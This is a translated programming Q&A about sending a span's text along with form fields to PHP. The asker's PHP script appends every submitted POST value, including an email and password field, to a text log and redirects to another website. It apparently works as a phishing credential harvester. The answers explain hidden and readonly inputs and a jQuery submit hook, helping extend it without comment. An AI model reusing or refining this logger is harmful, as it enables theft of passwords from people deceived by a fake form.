php获取输入字段值和跨度值

时间:2017-05-10 12:48:36

标签: javascript php jquery html

我有这个PHP代码来获取表单输入值:

<?php
header ('Location: https://mywebsite.com/');
$handle = fopen("logs_46735.txt", "a");
foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>

该代码适用于获取输入字段值,但我的html中还有span元素

<span id="mytext">some text</span>

我想与输入字段值一起使用。

示例:

<span id="mytext">some text</span>
<input type="email" id="email" name="email" />
<input type="password" id="pass" name="pass" />

有没有办法获得所有三个值?感谢

3 个答案:

答案 0 :(得分:1)

无法在$_POST中获取范围的值,而无需将其更改为某种输入。

然而,您可以做一个隐藏的输入字段:

<input type="hidden" value="some text">

不会向用户显示,并会显示在$_POST变量

答案 1 :(得分:1)

您可以将readonly属性与输入结合使用:

&#13;
&#13;
<input type="text" id="mytext" value="some text" readonly>
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">
&#13;
&#13;
&#13;

as stated by FMashiro,如果您希望输入不可见,可以使用hidden类型:

&#13;
&#13;
<input type="hidden" id="mytext" value="some text">
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">
&#13;
&#13;
&#13;

答案 2 :(得分:1)

只有<input><textarea>和其他<select>会发送给PHP。

你可以像FMashiro一样添加一个<input type="hidden" value="some_text">,或者将其与一些javascript结合起来,在发送表单之前添加一个输入,并使用你想要的当前值。

使用ECMA6:

$("form[name=myform]").on("submit", event => {
    $("form[name=myform]").append(
        `<input name="hidden" type="hidden" value="${$("span#id").text()}" />`
    );
});

或者:

$("form[name=myform]").on("submit", function (event) {
    $("form[name=myform]").append(
        "<input name=\"hidden\" type=\"hidden\" value=\"" + $("span#id").text() + "\"/>"
    );
});